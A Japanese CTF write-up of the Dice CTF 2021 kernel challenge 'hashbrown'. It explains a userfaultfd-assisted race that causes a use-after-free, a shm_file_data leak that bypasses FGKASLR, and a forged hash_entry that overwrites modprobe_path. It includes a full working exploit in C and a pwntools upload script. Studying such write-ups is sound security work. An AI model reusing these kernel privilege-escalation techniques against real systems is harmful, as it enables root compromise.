イントロ
いつぞや開催されたDice CTF 2021の kernel 問題: hashbrown。なんかパット見で SECCON20 の kvdb を思い出して吐きそうになった(あの問題、かなり brainfucking でトラウマ…)。まぁ結果として題材がハッシュマップを用いたデータ構造を使ってるっていうのと、結果として dungling-pointer が生まれるということくらい(あれ、結構同じか?)。 先に言うと、凄くいい問題でした。自分にとって知らないこと(FGKASLR とか)を新しく知ることもできたし、既に知っていることを考えて使う練習もできた問題でした。
static
basic
basic.sh 1~ $ cat /proc/version
2Linux version 5.11.0-rc3 (professor_stallman@i_use_arch_btw) (gcc (Debian 10.2.0-15) 10.2.0, GNU ld (GNU 1
3~ $ lsmod
4hashbrown 16384 0 - Live 0x0000000000000000 (OE)
5$ modinfo ./hashbrown.ko
6filename: /home/wataru/Documents/ctf/dice2020/hashbrown/work/./hashbrown.ko
7license: GPL
8description: Here's a hashbrown for everyone!
9author: FizzBuzz101
10depends:
11retpoline: Y
12name: hashbrown
13vermagic: 5.11.0-rc3 SMP mod_unload modversions
14
15exec qemu-system-x86_64 \
16 -m 128M \
17 -nographic \
18 -kernel "bzImage" \
19 -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
20 -no-reboot \
21 -cpu qemu64,+smep,+smap \
22 -monitor /dev/null \
23 -initrd "initramfs.cpio" \
24 -smp 2 \
25 -smp cores=2 \
26 -smp threads=1
SMEP 有効・SMAP 有効・KAISER 有効・KASLR 有効・FGKASLR有効・oops->panic・ダブルコア SMP スラブにはSLUBではなくSLABを利用していて、CONFIG_FREELIST_RANDOMとCONFIG_FREELIST_HARDENED有効。
Module
モジュールhashbrownのソースコードが配布されている。ソースコードの配布はいつだって正義。配布しない場合はその理由を原稿用紙 12 枚分書いて一緒に配布する必要がある。
キャラクタデバイス /dev/hashbrown を登録し、 ioctl() のみを実装している。その挙動は典型的な hashmap の実装であり、author’s writeup
によると JDK の実装を取ってきているらしい。ioctl()
の概観は以下のとおり。
1static long hashmap_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
2{
3 long result;
4 request_t request;
5 uint32_t idx;
6
7 if (cmd == ADD_KEY)
8 {
9 if (hashmap.entry_count == hashmap.threshold && hashmap.size < SIZE_ARR_MAX)
10 {
11 mutex_lock(&resize_lock);
12 result = resize((request_t *)arg);
13 mutex_unlock(&resize_lock);
14 return result;
15 }
16 }
17
18 mutex_lock(&operations_lock);
19 if (copy_from_user((void *)&request, (void *)arg, sizeof(request_t)))
20 {
21 result = INVALID;
22 }
23 else if (cmd == ADD_KEY && hashmap.entry_count == MAX_ENTRIES)
24 {
25 result = MAXED;
26 }
27 else
28 {
29 idx = get_hash_idx(request.key, hashmap.size);
30 switch(cmd)
31 {
32 case ADD_KEY:
33 result = add_key(idx, request.key, request.size, request.src);
34 break;
35 case DELETE_KEY:
36 result = delete_key(idx, request.key);
37 break;
38 case UPDATE_VALUE:
39 result = update_value(idx, request.key, request.size, request.src);
40 break;
41 case DELETE_VALUE:
42 result = delete_value(idx, request.key);
43 break;
44 case GET_VALUE:
45 result = get_value(idx, request.key, request.size, request.dest);
46 break;
47 default:
48 result = INVALID;
49 break;
50 }
51 }
52 mutex_unlock(&operations_lock);
53 return result;
54}
データはstruct hashmap_t
型の構造体で管理され、各エントリはstruct hash_entry
型で表現される。
1typedef struct
2{
3 uint32_t size;
4 uint32_t threshold;
5 uint32_t entry_count;
6 hash_entry **buckets;
7}hashmap_t;
buckets
の大きさはsize
だけあり、キーを新たに追加する際に現在存在しているキーの数がthreshold
を上回っているとresize()
が呼び出され、新たにbuckets
がkzalloc()
で確保される。古いbuckets
からデータをすべてコピーした後、古いbuckets
はkfree()
される。このthreshold
は、buckets が保持可能な最大要素数 x 3/4で計算される。各buckets
へのアクセスにはkey
の値から計算したインデックスを用いて行われ、このインデックスは容易に衝突するためhash_entry
はリスト構造で要素を保持している。
FGKASLR
Finer/Function Granular KASLR。詳しくはLWN 参照。カーネルイメージ ELF に関数毎にセクションが作られ、それらがカーネルのロード時にランダマイズされて配置されるようになる。メインラインには載っていない。これによって、あるシンボルを leak することでベースとなるアドレスを計算することが難しくなる。
ex.sh 1 0000000000000094 0000000000000000 AX 0 0 16
2 [3507] .text.revert_cred PROGBITS ffffffff8148e2b0 0068e2b0
3 000000000000002f 0000000000000000 AX 0 0 16
4 [3508] .text.abort_creds PROGBITS ffffffff8148e2e0 0068e2e0
5 000000000000001d 0000000000000000 AX 0 0 16
6 [3509] .text.prepare_cre PROGBITS ffffffff8148e300 0068e300
7 0000000000000234 0000000000000000 AX 0 0 16
8 [3510] .text.commit_cred PROGBITS ffffffff8148e540 0068e540
9 000000000000019c 0000000000000000 AX 0 0 16
10 [3511] .text.prepare_ker PROGBITS ffffffff8148e6e0 0068e6e0
11 00000000000001ba 0000000000000000 AX 0 0 16
12 [3512] .text.exit_creds PROGBITS ffffffff8148e8a0 0068e8a0
13 0000000000000050 0000000000000000 AX 0 0 16
14 [3513] .text.cred_alloc_ PROGBITS ffffffff8148e8f0 0068e8f0
なんか、こうまでするのって、凄いと思うと同時に、ちょっと引く…。
朗報として、従来の .text セクションに入っている一部の関数及び C 以外で記述された関数はランダマイズの対象外になる。また、データセクションにあるシンボルもランダマイズされないため、リークにはこういったシンボルを使う。詳しくは後述する。
Vuln: race to kUAF
モジュールは結構ちゃんとした実装になっている。だが、上のコード引用からも分かるとおり、ミューテックスを 2 つ利用していることが明らかに不自然。しかも、basicに書いたようにマルチコアで動いているためrace conditionであろうことが推測できる。そして、大抵の場合 race は CTF においてcopy_from_user()
を呼び出すパスで起きることが多い(かなりメタ読みだが、そうすると uffd が使えるため)。
それを踏まえてresize()
を見てみると、以下の順序でbuckets
の resize を行っていることが分かる。
11. 新しいbucketsをkzalloc()
22. 古いbucketsの各要素を巡回し、各要素を新たにkzalloc()してコピー
33. 新たに追加する要素をkzalloc()して追加。古い要素が持ってるデータへのポインタを新しい要素にコピー。
44. 古いbucketsの要素を全てkfree()
ここで、手順 3 において新たに追加する要素の追加にcopy_from_user()
が使われている。よって、userfaultfdによって一旦処理を 3 で停止させる。その間に、DELETE_VALUEによって値を削除する。すると、実際にその値はkfree()
されるものの、ポインタが NULL クリアされるのは古い方のbuckets
のみであり、新しい方のbuckets
には削除されたポインタが残存することになる(dungling-pointer)。
1static long delete_value(uint32_t idx, uint32_t key)
2{
3 hash_entry *temp;
4 if (!hashmap.buckets[idx])
5 {
6 return NOT_EXISTS;
7 }
8 for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp->next)
9 {
10 if (temp->key == key)
11 {
12 if (!temp->value || !temp->size)
13 {
14 return NOT_EXISTS;
15 }
16 kfree(temp->value);
17 temp->value = NULL;
18 temp->size = 0;
19 return 0;
20 }
21 }
22 return NOT_EXISTS;
23}
上のhashmap
は uffd によってresize()
処理が停止されている間は古いbuckets
を保持することになるから、UAF の成立である。
leak and bypass FGKASLR via shm_file_data
さて、上述した UAF を用いてまずは kernbase の leak をする。
なんで seq_operations じゃだめなのか
参考 4
において、kmalloc-32で利用できる構造体にshm_file_data
がある。これは以下のように定義される構造体である。
1struct shm_file_data {
2 int id;
3 struct ipc_namespace *ns;
4 struct file *file;
5 const struct vm_operations_struct *vm_ops;
6};
メンバの内、ns
とvm_ops
がデータセクションのアドレスを指している。また、file
はヒープアドレスを指している。共有メモリを alloc することで任意のタイミングで確保・ストックすることができ、kernbase も kernheap も leak できる優れものである。
とりわけ、vm_ops
はshmem_vm_ops
を指している。shmem_vm_ops
は以下で定義されるstruct vm_operations_struct
型の静的変数である。
1static const struct vm_operations_struct shmem_vm_ops = {
2 .fault = shmem_fault,
3 .map_pages = filemap_map_pages,
4#ifdef CONFIG_NUMA
5 .set_policy = shmem_set_policy,
6 .get_policy = shmem_get_policy,
7#endif
8};
shmat
の呼び出しによって呼ばれるshm_mmap()
の内部で以下のように代入される。
1static int shm_mmap(struct file *file, struct vm_area_struct *vma)
2{
3 struct shm_file_data *sfd = shm_file_data(file);
4 (snipped...)
5 sfd->vm_ops = vma->vm_ops;
6#ifdef CONFIG_MMU
7 WARN_ON(!sfd->vm_ops->fault);
8#endif
9 vma->vm_ops = &shm_vm_ops;
10 return 0;
11}
参考までに、以下が上のコードまでの backtrace。(v5.9.11)
bt.sh1#0 shm_mmap (file=<optimized out>, vma=0xffff88800e4710c0) at ipc/shm.c:508
2#1 0xffffffff8118c5c6 in call_mmap (vma=<optimized out>, file=<optimized out>) at ./include/linux/fs.h:1887
3#2 mmap_region (file=<optimized out>, addr=140174097555456, len=<optimized out>, vm_flags=<optimized out>, pgoff=<optimized out>, uf=<optimized out>) at mm/mmap.c:1773
4#3 0xffffffff8118cb9e in do_mmap (file=0xffff88800e42a600, addr=<optimized out>, len=4096, prot=2, flags=1, pgoff=<optimized out>, populate=0xffffc90000157ee8, uf=0x0) at mm/mmap.c:1545
5#4 0xffffffff81325012 in do_shmat (shmid=1, shmaddr=<optimized out>, shmflg=0, raddr=<optimized out>, shmlba=<optimized out>) at ipc/shm.c:1559
6#5 0xffffffff813250be in __do_sys_shmat (shmflg=<optimized out>, shmaddr=<optimized out>, shmid=<optimized out>) at ipc/shm.c:1594
7#6 __se_sys_shmat (shmflg=<optimized out>, shmaddr=<optimized out>, shmid=<optimized out>) at ipc/shm.c:1589
8#7 __x64_sys_shmat (regs=<optimized out>) at ipc/shm.c:1589
9#8 0xffffffff81a3feb3 in do_syscall_64 (nr=<optimized out>, regs=0xffffc90000157f58) at arch/x86/entry/common.c:46
kmalloc-32で使える構造体であれば、seq_operations
もあると書いてある
が、これらのポインタは FGKASLR の影響を受ける。実際、single_start()
等の関数のためにセクションが設けられていることが分かる。
1 [11877] .text.single_star PROGBITS ffffffff81669b30 00869b30
2 000000000000000f 0000000000000000 AX 0 0 16
3 [11878] .text.single_next PROGBITS ffffffff81669b40 00869b40
4 000000000000000c 0000000000000000 AX 0 0 16
5 [11879] .text.single_stop PROGBITS ffffffff81669b50 00869b50
6 0000000000000006 0000000000000000 AX 0 0 16
よって、kernbaseの leak にはこういった関数ポインタではなく、データ領域を指しているshm_file_data
等を使うことが望ましい。
leak
といわけで、uffd を使って race を安定化させつつshm_file_data
で kernbase をリークしていく。
まずはbuckets
が拡張される直前までkey
を追加していく。最初のthreshold
は0x10 x 3/4 = 0xc回であるから、その分だけadd_key()
。それが終わったら uffd を設定したページからさらにadd_key()
を行い、フォルトの発生中にdelete_value()
して要素を解放したら UAF の完成。以下のように leak ができる。
因みに
uffd ハンドラの中でmmap()
するのって、root じゃないとダメなんだっけ?以下のコードは root でやると上手く動いたけど、root じゃないとmmap()
で-1 が返ってきちゃった。後で調べる。
1 void *srcpage = mmap(0, PAGE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
2 printf("[+] mmapped @ %p\n", srcpage);
3 uffdio_copy.src = (ulong)srcpage;
4 uffdio_copy.dst = (ulong)msg.arg.pagefault.address & ~(PAGE - 1);
5 uffdio_copy.len = PAGE;
6 uffdio_copy.mode = 0;
7 uffdio_copy.copy = 0;
8 if(ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
9 errExit("ioctl-UFFDIO_COPY");
【追記 20200215】これ、単純にアドレス 0x0 に対してMAP_FIXED
にしてるからだわ。
AAW
principle
さて、ここまでで kernbase の leak ができている。次は AAW が欲しい。あと 50 兆円欲しい。
本モジュールには、既に存在しているhash_entry
の値を更新するupdate_value
という操作がある。
1static long update_value(uint32_t idx, uint32_t key, uint32_t size, char *src)
2{
3 hash_entry *temp;
4 char *temp_data;
5
6 if (size < 1 || size > MAX_VALUE_SIZE)
7 {
8 return INVALID;
9 }
10 if (!hashmap.buckets[idx])
11 {
12 return NOT_EXISTS;
13 }
14
15 for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp->next)
16 {
17 if (temp->key == key)
18 {
19 if (temp->size != size)
20 {
21 if (temp->value)
22 {
23 kfree(temp->value);
24 }
25 temp->value = NULL;
26 temp->size = 0;
27 temp_data = kzalloc(size, GFP_KERNEL);
28 if (!temp_data || copy_from_user(temp_data, src, size))
29 {
30 return INVALID;
31 }
32 temp->size = size;
33 temp->value = temp_data;
34 }
35 else
36 {
37 if (copy_from_user(temp->value, src, size))
38 {
39 return INVALID;
40 }
41 }
42 return 0;
43 }
44 }
45 return NOT_EXISTS;
46}
この中のif (copy_from_user(temp->value, src, size))
の部分で、仮にtemp->value
の保持するアドレスが不正に書き換えられるとすると AAW になる。このtemp
はstruct hash_entry
型であり、このサイズはkmalloc-32である。よって、先程までと全く同じ方法で kUAF を起こし、temp
の中身を自由に操作することができる。
因みに、leak したあとすぐに再びthreshold分だけadd_key()
してresize()
を呼ばせて、kUAF を起こし、そのあとすぐにadd_key()
して目的の object を手に入れようとしたが手に入らなくて"???“になった。だが、よくよく考えたらdelete_value()
で kUAF を引き起こした後に、古いbuckets
の解放が起こるためスラブにはどんどんオブジェクトが蓄積していってしまう。よって、その状態で目的の kUAF されたオブジェクトを手に入ろうとしてもすぐには手に入らない。解決方法は単純で、削除したはずの要素からget_value()
し続けて、それが今まで入っていた値と異なる瞬間が来たら、その object が新たにhash_entry
として alloc されたことになる。
1 for(int ix=threshold+1; 1==1; ++ix){ // find my cute object
2 memset(buf, 'A', 0x20);
3 add_key(hashfd, ix, 0x20, buf);
4 get_value(hashfd, targetkey, 0x20, buf);
5 if(((uint*)buf)[0] != 0x41414141){
6 printf("[!] GOT kUAFed object!\n");;
7 printf("[!] %lx\n", ((ulong*)buf)[0]);
8 printf("[!] %lx\n", ((ulong*)buf)[1]);
9 printf("[!] %lx\n", ((ulong*)buf)[2]);
10 printf("[!] %lx\n", ((ulong*)buf)[3]);
11 break;
12 }
13 }
overwrite modprobe_path
今回は SMAP/SMEP 有効だから、ユーザランドのシェルコードを実行させるということはできない。かといって ROP を組もうにも、FGKASLR が有効であるからガジェットの位置が定まらない。こんなときは、定番のmodprobe_pathの書き換えを行う。modprobe_path
はデータセクションにあるため FGKASLR の影響を受ける心配もない。
以下の感じで、ぷいぷいもるかー。
1 // trigger modprobe_path
2 system("echo -ne '#!/bin/sh\n/bin/cp /flag.txt /home/ctf/flag.txt\n/bin/chmod 777 /home/ctf/flag.txt' > /home/ctf/nirugiri.sh");
3 system("chmod +x /home/ctf/nirugiri.sh");
4 system("echo -ne '\\xff\\xff\\xff\\xff' > /home/ctf/puipui-molcar");
5 system("chmod +x /home/ctf/puipui-molcar");
6 system("/home/ctf/puipui-molcar");
7
8 // NIRUGIRI it
9 system("cat /home/ctf/flag.txt");
exploit
exploit.c 1#define _GNU_SOURCE
2#include <string.h>
3#include <stdio.h>
4#include <fcntl.h>
5#include <stdint.h>
6#include <unistd.h>
7#include <assert.h>
8#include <stdlib.h>
9#include <signal.h>
10#include <poll.h>
11#include <pthread.h>
12#include <err.h>
13#include <errno.h>
14#include <sched.h>
15#include <linux/bpf.h>
16#include <linux/filter.h>
17#include <linux/userfaultfd.h>
18#include <linux/prctl.h>
19#include <sys/syscall.h>
20#include <sys/ipc.h>
21#include <sys/msg.h>
22#include <sys/prctl.h>
23#include <sys/ioctl.h>
24#include <sys/mman.h>
25#include <sys/types.h>
26#include <sys/xattr.h>
27#include <sys/socket.h>
28#include <sys/uio.h>
29#include <sys/shm.h>
30
31
32// commands
33#define DEV_PATH "/dev/hashbrown" // the path the device is placed
34
35// constants
36#define PAGE 0x1000
37#define FAULT_ADDR 0xdead0000
38#define FAULT_OFFSET PAGE
39#define MMAP_SIZE 4*PAGE
40#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
41// (END constants)
42
43
44// utils
45#define WAIT getc(stdin);
46#define ulong unsigned long
47#define scu static const unsigned long
48#define NULL (void*)0
49#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
50 } while (0)
51#define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\
52 if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");}
53ulong user_cs,user_ss,user_sp,user_rflags;
54struct pt_regs {
55 ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
56 ulong bx; ulong r11; ulong r10; ulong r9; ulong r8;
57 ulong ax; ulong cx; ulong dx; ulong si; ulong di;
58 ulong orig_ax; ulong ip; ulong cs; ulong flags;
59 ulong sp; ulong ss;
60};
61void print_regs(struct pt_regs *regs)
62{
63 printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
64 printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
65 printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
66 printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
67 printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
68}
69void NIRUGIRI(void)
70{
71 char *argv[] = {"/bin/sh",NULL};
72 char *envp[] = {NULL};
73 execve("/bin/sh",argv,envp);
74}
75// should compile with -masm=intel
76static void save_state(void) {
77 asm(
78 "movq %0, %%cs\n"
79 "movq %1, %%ss\n"
80 "movq %2, %%rsp\n"
81 "pushfq\n"
82 "popq %3\n"
83 : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" );
84}
85
86static void shellcode(void){
87 asm(
88 "xor rdi, rdi\n"
89 "mov rbx, QWORD PTR [rsp+0x50]\n"
90 "sub rbx, 0x244566\n"
91 "mov rcx, rbx\n"
92 "call rcx\n"
93 "mov rdi, rax\n"
94 "sub rbx, 0x470\n"
95 "call rbx\n"
96 "add rsp, 0x20\n"
97 "pop rbx\n"
98 "pop r12\n"
99 "pop r13\n"
100 "pop r14\n"
101 "pop r15\n"
102 "pop rbp\n"
103 "ret\n"
104 );
105}
106// (END utils)
107
108// consts
109#define SIZE_ARR_START 0x10
110
111// globals
112#define STATE_LEAK 0
113#define STATE_UAF 1
114#define STATE_INVALID 99
115void *uffdaddr = NULL;
116pthread_t uffdthr; // ID of thread that handles page fault and continue exploit in another kernel thread
117int hashfd = -1;
118uint STATUS = STATE_LEAK;
119uint targetkey = SIZE_ARR_START * 3 / 4 - 1;
120uint limit = SIZE_ARR_START;
121uint threshold = SIZE_ARR_START * 3/ 4;
122char *faultsrc = NULL;
123// (END globals)
124
125/*** hashbrown ****/
126// commands
127#define ADD_KEY 0x1337
128#define DELETE_KEY 0x1338
129#define UPDATE_VALUE 0x1339
130#define DELETE_VALUE 0x133a
131#define GET_VALUE 0x133b
132// returns
133#define INVALID 1
134#define EXISTS 2
135#define NOT_EXISTS 3
136#define MAXED 4
137
138// structs
139typedef struct{
140 uint32_t key;
141 uint32_t size;
142 char *src;
143 char *dest;
144}request_t;
145struct hash_entry{
146 uint32_t key;
147 uint32_t size;
148 char *value;
149 struct hash_entry *next;
150};
151typedef struct
152{
153 uint32_t size;
154 uint32_t threshold;
155 uint32_t entry_count;
156 struct hash_entry **buckets;
157}hashmap_t;
158uint get_hash_idx(uint key, uint size)
159{
160 uint hash;
161 key ^= (key >> 20) ^ (key >> 12);
162 hash = key ^ (key >> 7) ^ (key >> 4);
163 return hash & (size - 1);
164}
165
166// wrappers
167void add_key(int fd, uint key, uint size, char *data){
168 printf("[+] add_key: %d %d %p\n", key, size, data);
169 request_t req = {
170 .key = key,
171 .size = size,
172 .src = data
173 };
174 long ret = ioctl(fd, ADD_KEY, &req);
175 assert(ret != INVALID && ret != EXISTS);
176}
177void delete_key(int fd, uint key){
178 printf("[+] delete_key: %d\n", key);
179 request_t req = {
180 .key = key
181 };
182 long ret = ioctl(fd, DELETE_KEY, &req);
183 assert(ret != NOT_EXISTS && ret != INVALID);
184}
185void update_value(int fd, uint key, uint size, char *data){
186 printf("[+] update_value: %d %d %p\n", key, size, data);
187 request_t req = {
188 .key = key,
189 .size = size,
190 .src = data
191 };
192 long ret = ioctl(fd, UPDATE_VALUE, &req);
193 assert(ret != INVALID && ret != NOT_EXISTS);
194}
195void delete_value(int fd, uint key){
196 printf("[+] delete_value: %d\n", key);
197 request_t req = {
198 .key = key,
199 };
200 long ret = ioctl(fd, DELETE_VALUE, &req);
201 assert(ret != NOT_EXISTS);
202}
203void get_value(int fd, uint key, uint size, char *buf){
204 printf("[+] get_value: %d %d %p\n", key, size, buf);
205 request_t req = {
206 .key = key,
207 .size = size,
208 .dest = buf
209 };
210 long ret = ioctl(fd, GET_VALUE, &req);
211 assert(ret != NOT_EXISTS && ret != INVALID);
212}
213
214/**** (END hashbrown) ****/
215
216// userfaultfd-utils
217static void* fault_handler_thread(void *arg)
218{
219 puts("[+] entered fault_handler_thread");
220
221 static struct uffd_msg msg; // data read from userfaultfd
222 struct uffdio_copy uffdio_copy;
223 long uffd = (long)arg; // userfaultfd file descriptor
224 struct pollfd pollfd; //
225 int nready; // number of polled events
226 int shmid;
227 void *shmaddr;
228
229 // set poll information
230 pollfd.fd = uffd;
231 pollfd.events = POLLIN;
232
233 // wait for poll
234 puts("[+] polling...");
235 while(poll(&pollfd, 1, -1) > 0){
236 if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
237 errExit("poll");
238
239 // read an event
240 if(read(uffd, &msg, sizeof(msg)) == 0)
241 errExit("read");
242
243 if(msg.event != UFFD_EVENT_PAGEFAULT)
244 errExit("unexpected pagefault");
245
246 printf("[!] page fault: 0x%llx\n",msg.arg.pagefault.address);
247
248 // Now, another thread is halting. Do my business.
249 switch(STATUS){
250 case STATE_LEAK:
251 if((shmid = shmget(IPC_PRIVATE, PAGE, 0600)) < 0)
252 errExit("shmget");
253 delete_value(hashfd, targetkey);
254 if((shmaddr = shmat(shmid, NULL, 0)) < 0)
255 errExit("shmat");
256 STATUS = STATE_UAF;
257 break;
258 case STATE_UAF:
259 delete_value(hashfd, targetkey);
260 STATUS = STATE_INVALID;
261 break;
262 default:
263 errExit("unknown status");
264 }
265
266 printf("[+] uffdio_copy.src: %p\n", faultsrc);
267 uffdio_copy.src = (ulong)faultsrc;
268 uffdio_copy.dst = (ulong)msg.arg.pagefault.address & ~(PAGE - 1);
269 uffdio_copy.len = PAGE;
270 uffdio_copy.mode = 0;
271 uffdio_copy.copy = 0;
272 if(ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
273 errExit("ioctl-UFFDIO_COPY");
274 else{
275 puts("[+] end ioctl(UFFDIO_COPY)");
276 }
277
278 break;
279 }
280
281 puts("[+] exiting fault_handler_thrd");
282}
283
284pthread_t register_userfaultfd_and_halt(void)
285{
286 puts("[+] registering userfaultfd...");
287
288 long uffd; // userfaultfd file descriptor
289 struct uffdio_api uffdio_api;
290 struct uffdio_register uffdio_register;
291 int s;
292
293 // create userfaultfd file descriptor
294 uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc
295 if(uffd == -1)
296 errExit("userfaultfd");
297
298 // enable uffd object via ioctl(UFFDIO_API)
299 uffdio_api.api = UFFD_API;
300 uffdio_api.features = 0;
301 if(ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
302 errExit("ioctl-UFFDIO_API");
303
304 // mmap
305 puts("[+] mmapping...");
306 uffdaddr = mmap((void*)FAULT_ADDR, PAGE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr.
307 printf("[+] mmapped @ %p\n", uffdaddr);
308 if(uffdaddr == MAP_FAILED)
309 errExit("mmap");
310
311 // specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER)
312 uffdio_register.range.start = (ulong)uffdaddr;
313 uffdio_register.range.len = PAGE;
314 uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
315 if(ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
316 errExit("ioctl-UFFDIO_REGISTER");
317
318 s = pthread_create(&uffdthr, NULL, fault_handler_thread, (void*)uffd);
319 if(s!=0){
320 errno = s;
321 errExit("pthread_create");
322 }
323
324 puts("[+] registered userfaultfd");
325 return uffdthr;
326}
327// (END userfaultfd-utils)
328
329/******** MAIN ******************/
330
331int main(int argc, char *argv[]) {
332 char buf[0x200];
333 faultsrc = mmap(0, PAGE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
334 memset(buf, 0, 0x200);
335 hashfd = open(DEV_PATH, O_RDONLY);
336 assert(hashfd > 0);
337
338 // race-1: leak via shm_file_data
339 for(int ix=0; ix!=threshold; ++ix){
340 add_key(hashfd, ix, 0x20, buf);
341 }
342 register_userfaultfd_and_halt();
343 add_key(hashfd, threshold, 0x20, uffdaddr);
344 limit <<= 2;
345 threshold = limit * 3 / 4;
346 pthread_join(uffdthr, 0);
347
348 // leak kernbase
349 get_value(hashfd, targetkey, 0x20, buf);
350 printf("[!] %lx\n", ((ulong*)buf)[0]);
351 printf("[!] %lx\n", ((ulong*)buf)[1]);
352 printf("[!] %lx\n", ((ulong*)buf)[2]);
353 printf("[!] %lx: shmem_vm_ops\n", ((ulong*)buf)[3]);
354 const ulong shmem_vm_ops = ((ulong*)buf)[3];
355 const ulong kernbase = shmem_vm_ops - ((ulong)0xffffffff8b622b80 - (ulong)0xffffffff8ae00000);
356 const ulong modprobe_path = kernbase + ((ulong)0xffffffffb0c46fe0 - (ulong)0xffffffffb0200000);
357 printf("[!] kernbase: 0x%lx\n", kernbase);
358 printf("[!] modprobe_path: 0x%lx\n", modprobe_path);
359
360 // race-2: retrieve hash_entry as value
361 targetkey = threshold - 1;
362 memset(buf, 'A', 0x20);
363 for(int ix=SIZE_ARR_START * 3/4 + 1; ix!=threshold; ++ix){
364 add_key(hashfd, ix, 0x20, buf);
365 }
366 register_userfaultfd_and_halt();
367 add_key(hashfd, threshold, 0x20, uffdaddr);
368 pthread_join(uffdthr, 0);
369 for(int ix=threshold+1; 1==1; ++ix){ // find my cute object
370 memset(buf, 'A', 0x20);
371 add_key(hashfd, ix, 0x20, buf);
372 get_value(hashfd, targetkey, 0x20, buf);
373 if(((uint*)buf)[0] != 0x41414141){
374 printf("[!] GOT kUAFed object!\n");;
375 printf("[!] %lx\n", ((ulong*)buf)[0]);
376 printf("[!] %lx\n", ((ulong*)buf)[1]);
377 printf("[!] %lx\n", ((ulong*)buf)[2]);
378 printf("[!] %lx\n", ((ulong*)buf)[3]);
379 break;
380 }
381 }
382
383 // forge hash_entry as data and overwrite modprobe_path
384 struct hash_entry victim = {
385 .key = ((uint*)buf)[0],
386 .size = ((uint*)buf)[1],
387 .value = modprobe_path,
388 .next = NULL
389 };
390 update_value(hashfd, targetkey, 0x20, &victim);
391 update_value(hashfd, ((uint*)buf)[0], 0x20, "/home/ctf/nirugiri.sh\x00\x00\x00\x00");
392
393 // trigger modprobe_path
394 system("echo -ne '#!/bin/sh\n/bin/cp /flag.txt /home/ctf/flag.txt\n/bin/chmod 777 /home/ctf/flag.txt' > /home/ctf/nirugiri.sh");
395 system("chmod +x /home/ctf/nirugiri.sh");
396 system("echo -ne '\\xff\\xff\\xff\\xff' > /home/ctf/puipui-molcar");
397 system("chmod +x /home/ctf/puipui-molcar");
398 system("/home/ctf/puipui-molcar");
399
400 // NIRUGIRI it
401 system("cat /home/ctf/flag.txt");
402
403 return 0;
404}
今回はまだ問題サーバが生きていたから sender も。
sender.py 1#!/usr/bin/env python
2#encoding: utf-8;
3
4from pwn import *
5import sys
6
7FILENAME = "./exploit"
8LIBCNAME = ""
9
10hosts = ("dicec.tf","localhost","localhost")
11ports = (31691,12300,23947)
12rhp1 = {'host':hosts[0],'port':ports[0]} #for actual server
13rhp2 = {'host':hosts[1],'port':ports[1]} #for localhost
14rhp3 = {'host':hosts[2],'port':ports[2]} #for localhost running on docker
15context(os='linux',arch='amd64')
16binf = ELF(FILENAME)
17libc = ELF(LIBCNAME) if LIBCNAME!="" else None
18
19
20## utilities #########################################
21
22def hoge():
23 global c
24 pass
25
26## exploit ###########################################
27
28def exploit():
29 c.recvuntil("Send the output of: ")
30 hashcat = c.recvline().rstrip().decode('utf-8')
31 print("[+] calculating PoW...")
32 hash_res = os.popen(hashcat).read()
33 print("[+] finished calc hash: " + hash_res)
34 c.sendline(hash_res)
35
36 with open("./exploit.b64", 'r') as f:
37 binary = f.read()
38
39 progress = 0
40 print("[+] sending base64ed exploit (total: {})...".format(hex(len(binary))))
41 for s in [binary[i: i+0x80] for i in range(0, len(binary), 0x80)]:
42 c.sendlineafter('$', 'echo {} >> exploit.b64'.format(s))
43 progress += 0x80
44 if progress % 0x1000 == 0:
45 print("[.] sent {} bytes [{} %]".format(hex(progress), float(progress)*100.0/float(len(binary))))
46 c.sendlineafter('$', 'base64 -d exploit.b64 > exploit')
47
48
49
50## main ##############################################
51
52if __name__ == "__main__":
53 global c
54
55 if len(sys.argv)>1:
56 if sys.argv[1][0]=="d":
57 cmd = """
58 set follow-fork-mode parent
59 """
60 c = gdb.debug(FILENAME,cmd)
61 elif sys.argv[1][0]=="r":
62 c = remote(rhp1["host"],rhp1["port"])
63 elif sys.argv[1][0]=="v":
64 c = remote(rhp3["host"],rhp3["port"])
65 else:
66 c = remote(rhp2['host'],rhp2['port'])
67 exploit()
68 c.interactive()
アウトロ
問題サーバ生きてるやんけ、と思ってやってみたら、exploit バイナリの送信でタイムアウトになるわ。。。 取り敢えずローカルの画像貼っとこひょっとこ。
(追記 2021.02.16)
やっぱバイナリ送るときってdiet-libc
みたいな軽量 libc(diet-libc は流石に古いか。musl
とかuclibc
)とリンクさせとかないとダメなのかな。
